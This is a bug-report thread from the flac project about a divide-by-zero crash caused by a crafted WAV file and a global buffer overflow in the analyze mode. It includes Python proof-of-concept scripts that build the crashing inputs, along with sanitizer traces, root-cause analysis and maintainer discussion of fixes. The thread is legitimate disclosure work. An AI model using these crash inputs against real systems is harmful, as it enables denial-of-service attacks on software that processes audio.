[BUG] Memory error in `flac`

[ShangzhiXu]

Hi team, thanks for your great work and happy new year~

I think here;s a small memory error in flac, let me explain it

PoC

We can run the follwoing cmd

sigfpe.wav

./src/flac/flac sigfpe.wav
to trigger the crash

z5500277@katana3:~/flac $ ./src/flac/flac sigfpe.wav

flac git-afb801b2 20260122
Copyright (C) 2000-2009  Josh Coalson, 2011-2025  Xiph.Org Foundation
flac comes with ABSOLUTELY NO WARRANTY.  This is free software, and you are
welcome to redistribute it under certain conditions.  Type `flac' for details.

WARNING: RIFF chunk size of file sigfpe.wav does not agree with filesize
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1960112==ERROR: AddressSanitizer: FPE on unknown address 0x55749cfb9ad8 (pc 0x55749cfb9ad8 bp 0x7ffd31e79420 sp 0x7ffd31e79140 T0)
    #0 0x55749cfb9ad8 in flac__encode_file /home/z5500277/flac/src/flac/encode.c:967:65
    #1 0x55749cfd4766 in encode_file /home/z5500277/flac/src/flac/main.c:1763:12
    #2 0x55749cfd15bb in do_it /home/z5500277/flac/src/flac/main.c:570:8
    #3 0x55749cfd15bb in main /home/z5500277/flac/src/flac/main.c:382:13
    #4 0x7f84aa78e864 in __libc_start_main (/lib64/libc.so.6+0x3a864) (BuildId: 1faac7cdefc71ce73027e33a84650684eecd1635)
    #5 0x55749ced11dd in _start (/home/z5500277/flac/src/flac/flac+0x391dd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /home/z5500277/flac/src/flac/encode.c:967:65 in flac__encode_file
==1960112==ABORTING

The PoC can be generated with

import struct

def create_sigfpe_poc(filename):
    with open(filename, 'wb') as f:
        # RIFF Header
        f.write(b'RIFF')
        f.write(struct.pack('<I', 36 + 40 + 8)) # File size
        f.write(b'WAVE')

        # fmt chunk (WAVE_FORMAT_EXTENSIBLE)
        f.write(b'fmt ')
        f.write(struct.pack('<I', 40)) # Chunk size
        f.write(struct.pack('<H', 65534)) # wFormatTag
        f.write(struct.pack('<H', 1)) # channels
        f.write(struct.pack('<I', 44100)) # sample_rate
        f.write(struct.pack('<I', 44100)) # byte_rate
        f.write(struct.pack('<H', 1)) # block_align
        f.write(struct.pack('<H', 7)) # bps = 7
        
        # EXTENSIBLE extra data
        f.write(struct.pack('<H', 22)) # cbSize
        f.write(struct.pack('<H', 7)) # wValidBitsPerSample = 7
        f.write(struct.pack('<I', 0)) # dwChannelMask
        f.write(b'\x01\x00\x00\x00\x00\x00\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71') # SubFormat PCM

        # data chunk
        f.write(b'data')
        f.write(struct.pack('<I', 8)) # Data size
        f.write(b'\x00' * 8)

if __name__ == "__main__":
    create_sigfpe_poc("sigfpe.wav")

Root Cause

As in function get_sample_info_wave(), it read directly from user input
and calculate with the following code

e->info.bytes_per_wide_sample = channels * (bps / 8);
// channels  = 1, bps = 7

As 7/8 = 0 in C, it leads to e->info.bytes_per_wide_sample = 0
It lead to the FPE in function flac__encode_file

total_samples_in_input = encoder_session.fmt.iff.data_bytes / encoder_session.info.bytes_per_wide_sample;

[madah81pnz1]

Changing this line in encode.c to this fixes the crash:
e->info.bytes_per_wide_sample = channels * ((bps + 7) / 8);
Encoding it now with flac --lax doesn't crash but gives ERROR: unsupported input format.

However, given that this is also mentioned:

 * Current spec says WAVEFORMATEX with PCM must have bps == 8 or 16, or any multiple of 8 for WAVEFORMATEXTENSIBLE.
 * Lots of old broken WAVEs/apps have don't follow it, e.g. 20 bps but a block align of 3/6 for mono/stereo.

Since bps=8 validbps=7 encodes fine, maybe bps=7 validbps=7 should also encode the same way, instead of giving ERROR: unsupported input format?

Your PoC script has a bug with incorrect RIFF chunk sizes, off by 16 bytes.
If you change this line:
f.write(struct.pack('<I', 36 + 40 + 8)) # File size

into this instead:

f.write(struct.pack('<I', 
    4 +     # 'WAVE' 
    4 +     # 'fmt '
    4 +     # fmt chunk size
    40 +    # fmt chunk contents
    4 +     # 'data' 
    4 +     # data chunk size
    8       # data chunk contents
    ))

Another bug is that flac only reads the first byte in the subformat GUID and skips the rest, so it is possible to do this:
f.write(b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') # Invalid SubFormat PCM

[ShangzhiXu]

Thanks for the clarification and the extra details, really appreciate it!

[ShangzhiXu]

Here's another similar vulnerability

PoC

#!/usr/bin/env python3
import struct
import subprocess
import sys
import os
import random
import math

FLAC_BIN = os.path.join(os.path.dirname(os.path.abspath(__file__)), "src", "flac", "flac")
WAV_PATH = "/tmp/poc_analyze.wav"
FLAC_PATH = "/tmp/poc_analyze.flac"

def create_noisy_wav(path, num_samples=300000, bps=24, channels=1, sample_rate=44100):
    bytes_per_sample = bps // 8
    data_size = num_samples * channels * bytes_per_sample
    block_align = channels * bytes_per_sample
    byte_rate = sample_rate * block_align

    rng = random.Random(42)

    with open(path, 'wb') as f:
        f.write(b'RIFF')
        f.write(struct.pack('<I', 36 + data_size))
        f.write(b'WAVE')
        f.write(b'fmt ')
        f.write(struct.pack('<I', 16))
        f.write(struct.pack('<HHIIHH', 1, channels, sample_rate,
                             byte_rate, block_align, bps))
        f.write(b'data')
        f.write(struct.pack('<I', data_size))

        max_val = (1 << (bps - 1)) - 1
        noise_amp = max_val // 4

        for i in range(num_samples * channels):
            t = i / sample_rate
            base = int(max_val * 0.3 * math.sin(2 * math.pi * 440 * t))
            base += int(max_val * 0.2 * math.sin(2 * math.pi * 1000 * t))
            base += int(max_val * 0.1 * math.sin(2 * math.pi * 2500 * t))
            noise = rng.randint(-noise_amp, noise_amp)
            val = max(-max_val - 1, min(max_val, base + noise))

            if bps == 24:
                b = val & 0xFFFFFF
                f.write(struct.pack('<I', b)[:3])
            elif bps == 16:
                f.write(struct.pack('<h', val))

def main():
    create_noisy_wav(WAV_PATH, num_samples=300000, bps=24)

    result = subprocess.run(
        [FLAC_BIN, "--force", "-0", WAV_PATH, "-o", FLAC_PATH],
        capture_output=True
    )
    if result.returncode != 0:
        print(f"Error encoding: {result.stderr.decode(errors='replace')}")
        sys.exit(1)
if __name__ == "__main__":
    main()

After execute the python script, we run the following code

z5500277@katana2:~/flac $ ./src/flac/flac --analyze --residual-gnuplot -f /tmp/poc_analyze.flac

flac git-afb801b2 20260122
Copyright (C) 2000-2009  Josh Coalson, 2011-2025  Xiph.Org Foundation
flac comes with ABSOLUTELY NO WARRANTY.  This is free software, and you are
welcome to redistribute it under certain conditions.  Type `flac' for details.

poc_analyze.flac: analyzing, 17% complete=================================================================
==3030892==ERROR: AddressSanitizer: global-buffer-overflow on address 0x5621aa9ff650 at pc 0x5621a9c91351 bp 0x7ffc06fc8410 sp 0x7ffc06fc8408
WRITE of size 4 at 0x5621aa9ff650 thread T0
    #0 0x5621a9c91350 in update_stats /home/z5500277/flac/src/flac/analyze.c:203:29
    #1 0x5621a9c91350 in flac__analyze_frame /home/z5500277/flac/src/flac/analyze.c:155:5
    #2 0x5621a9c95c41 in write_callback /home/z5500277/flac/src/flac/decode.c:1372:4
    #3 0x5621a9d2c29a in write_audio_frame_to_client_ /home/z5500277/flac/src/libFLAC/stream_decoder.c:3630:10
    #4 0x5621a9d230ba in read_frame_ /home/z5500277/flac/src/libFLAC/stream_decoder.c:2613:7
    #5 0x5621a9d25702 in FLAC__stream_decoder_process_until_end_of_stream /home/z5500277/flac/src/libFLAC/stream_decoder.c:1186:9
    #6 0x5621a9c92f6b in DecoderSession_process /home/z5500277/flac/src/flac/decode.c:498:7
    #7 0x5621a9c92f6b in flac__decode_file /home/z5500277/flac/src/flac/decode.c:197:6
    #8 0x5621a9cbd7ca in decode_file /home/z5500277/flac/src/flac/main.c
    #9 0x5621a9cbc50c in do_it /home/z5500277/flac/src/flac/main.c:549:15
    #10 0x5621a9cbc50c in main /home/z5500277/flac/src/flac/main.c:382:13
    #11 0x7f6e63222864 in __libc_start_main (/lib64/libc.so.6+0x3a864) (BuildId: 1faac7cdefc71ce73027e33a84650684eecd1635)
    #12 0x5621a9bbc1dd in _start (/home/z5500277/flac/src/flac/flac+0x391dd)

0x5621aa9ff650 is located 0 bytes after global variable 'all_' defined in '/home/z5500277/flac/src/flac/analyze.c:51' (0x5621aa97f620) of size 524336
SUMMARY: AddressSanitizer: global-buffer-overflow /home/z5500277/flac/src/flac/analyze.c:203:29 in update_stats
Shadow bytes around the buggy address:
  0x5621aa9ff380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x5621aa9ff400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x5621aa9ff480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x5621aa9ff500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x5621aa9ff580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x5621aa9ff600: 00 00 00 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9
  0x5621aa9ff680: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x5621aa9ff700: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x5621aa9ff780: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x5621aa9ff800: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x5621aa9ff880: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3030892==ABORTING

Root Cause

The size of subframe_stats_t.buckets is fixed, which is 65535

typedef struct {
	pair_t buckets[FLAC__MAX_BLOCK_SIZE];
	int peak_index;
	uint32_t nbuckets;
	uint32_t nsamples;
	double sum, sos;
	double variance;
	double mean;
	double stddev;
} subframe_stats_t;

When program read the malicious input, a loop in analyze.c line 153-156 increase i without checking the buffer size of variable all_, leading to buffer overflow.

  for(i = 0; i < stats.nbuckets; i++) {
      update_stats(&all_, stats.buckets[i].residual, stats.buckets[i].count);
  }

[madah81pnz1]

I can confirm this second one, happens only with bps=24 but not bps=16.

I don't fully understand why this happens though, seems the residual is not found in any existing buckets. Increasing the buckets array size doesn't really help, since it will just continue for a bit longer before it fails.

Could it be that these stats are not per block, but per the whole file instead? Then it makes sense that it wouldn't work for 24-bit. For 16-bit audio, the constant used for the array size, FLAC__MAX_BLOCK_SIZE, just so happens to be the same as the number of unique values in 16-bit audio.

[ShangzhiXu]

I think u r correct

If I understand it correctly, the root cause is the numerical space difference.

16-bit: Has $2^{16}$ (65536) possible values, naturally limiting unique residuals to fit within FLAC__MAX_BLOCK_SIZE (65535).
24-bit: Has $2^{24}$ (16,777,216) possible values.

Since the global all_ variable accumulates file-wide stats without bounds checking, noisy 24-bit input quickly exceeds 65535 unique residuals, causing the global-buffer-overflow.

[ktmf01]

Thanks!

What I would like to understand is why fuzzing didn't catch these. If there something blocking fuzzers from getting there, that would be worth investigating

[ShangzhiXu]

Thanks for your reply and yes, existing fuzzing tools will miss these bugs.

Fuzzers like OSS-Fuzz rely strictly on code coverage. Mutating the uint32_t variable bps into the [0, 7] range has a negligible probability and since mutating bps yields no new coverage, the fuzzer stops mutating it long before triggering the bug.

I actually found this vulnerability using my new fuzzing tool RAMFuzz. Once RAMFuzz is complete, if you don't mind I can test FLAC further too see how it works : )

[ktmf01]

and since mutating bps yields no new coverage

Why would mutating bps not yield new coverage? There is a lot of code dependent on the bps of the input.

[ShangzhiXu]

Mutating the uint32_t variable bps into the [0, 7] range has a negligible probability

Then it should be the probability issue : )

[madah81pnz1]

@ShangzhiXu could you split out the second problem to its own issue? Those have no relation to each other, and it will be easier to fix them separately.

The second one in particular is non-trivial to fix. To support 32-bit audio, doing a linear search over all buckets for the whole file doesn't cut it. It will also require some 16+ GiB of memory for the buckets array. So I think it requires some refactoring.

[ShangzhiXu]

no problem~ I'll do it right away